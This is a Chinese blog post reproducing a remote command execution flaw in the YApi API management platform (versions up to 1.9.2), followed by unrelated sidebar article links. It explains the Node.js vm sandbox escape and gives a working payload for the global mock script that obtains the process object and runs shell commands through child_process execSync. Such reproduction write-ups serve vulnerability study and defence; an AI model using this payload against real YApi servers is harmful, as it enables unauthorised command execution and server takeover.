当前位置:网站首页>漏洞复现----34、yapi 远程命令执行漏洞
漏洞复现----34、yapi 远程命令执行漏洞
2022-06-27 15:23:00 【七天啊】
Yapi官网地址:
http://yapi.smart-xwork.cn/
YAPI简介
YAPI是高效、易用、功能强大的API管理平台,旨在为开发、产品、测试人员提供更优雅的接口管理服务,提供基本的项目分组,项目管理,接口管理功能,友好的接口文档,基于websocket的多人协作接口编辑功能和类postman测试工具,让多人协作成倍提升开发效率,并且基于Mockjs,使用简单功能强大。
漏洞成因
攻击者通过注册用户,并使用 Mock 功能实现远程命令执行。命令执行的原理是 Node.js 通过 require('vm')
来构建沙箱环境,而攻击者可以通过原型链改变沙箱环境运行的上下文,从而达到沙箱逃逸的效果。通过 vm.runInNewContext("this.constructor.constructor('return process')()")
即可获得一个 process 对象。
影响版本:Yapi <= 1.9.2
漏洞复现
1、注册用户之后,新建项目
2、在设置 -> 全局mock脚本中添加恶意代码。
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("id;uname -a;pwd").toString()
3、添加接口
4、访问mock地址
边栏推荐
- Acwing game 57
- Programming skills: script scheduling
- ReentrantLock、ReentrantReadWriteLock、StampedLock
- Gaode map IP positioning 2.0 backup
- Great God developed the new H5 version of arXiv, saying goodbye to formula typography errors in one step, and the mobile phone can easily read literature
- enable_ if
- 基于 Nebula Graph 构建百亿关系知识图谱实践
- Pisa-Proxy 之 SQL 解析实践
- Getting to know cloud native security for the first time: the best guarantee in the cloud Era
- Pri3d: a representation learning method for 3D scene perception using inherent attributes of rgb-d data
猜你喜欢
Practice of constructing ten billion relationship knowledge map based on Nebula graph
【微服务|Sentinel】热点规则|授权规则|集群流控|机器列表
Volatile and JMM
Use GCC to generate an abstract syntax tree "ast" and dump it to Dot file and visualization
原子操作类
基于Vue+Node+MySQL的美食菜谱食材网站设计与实现
ThreadLocal之强、弱、软、虚引用
Principle Comparison and analysis of mechanical hard disk and SSD solid state disk
How QT sets some areas to be transparent in the background image
Design and implementation of food recipe and ingredients website based on vue+node+mysql
随机推荐
PostgreSQL 15新版本特性解读(含直播问答、PPT资料汇总)
Resolve activity startup - lifecycle Perspective
Make a ThreadLocal (source code) that everyone can understand
Getting to know cloud native security for the first time: the best guarantee in the cloud Era
海量数据!秒级分析!Flink+Doris构建实时数仓方案
Unity3d best practices: folder structure and source control
优雅的自定义 ThreadPoolExecutor 线程池
enable_ if
【高等数学】从法向量到第二类曲面积分
Professor huangxutao, a great master in CV field, was born at the age of 86. UIUC specially set up a doctoral scholarship to encourage cutting-edge students
Use of abortcontroller
Top ten Devops best practices worthy of attention in 2022
Overseas warehouse knowledge popularization
About the meaning of the first two $symbols of SAP ui5 parameter $$updategroupid
At a time of oversupply of chips, China, the largest importer, continued to reduce imports, and the United States panicked
Acwing game 57
Daily 3 questions (1): find the nearest point with the same X or Y coordinate
Openssf security plan: SBOM will drive software supply chain security
基于WEB平台的阅读APP设计与实现
ReentrantLock、ReentrantReadWriteLock、StampedLock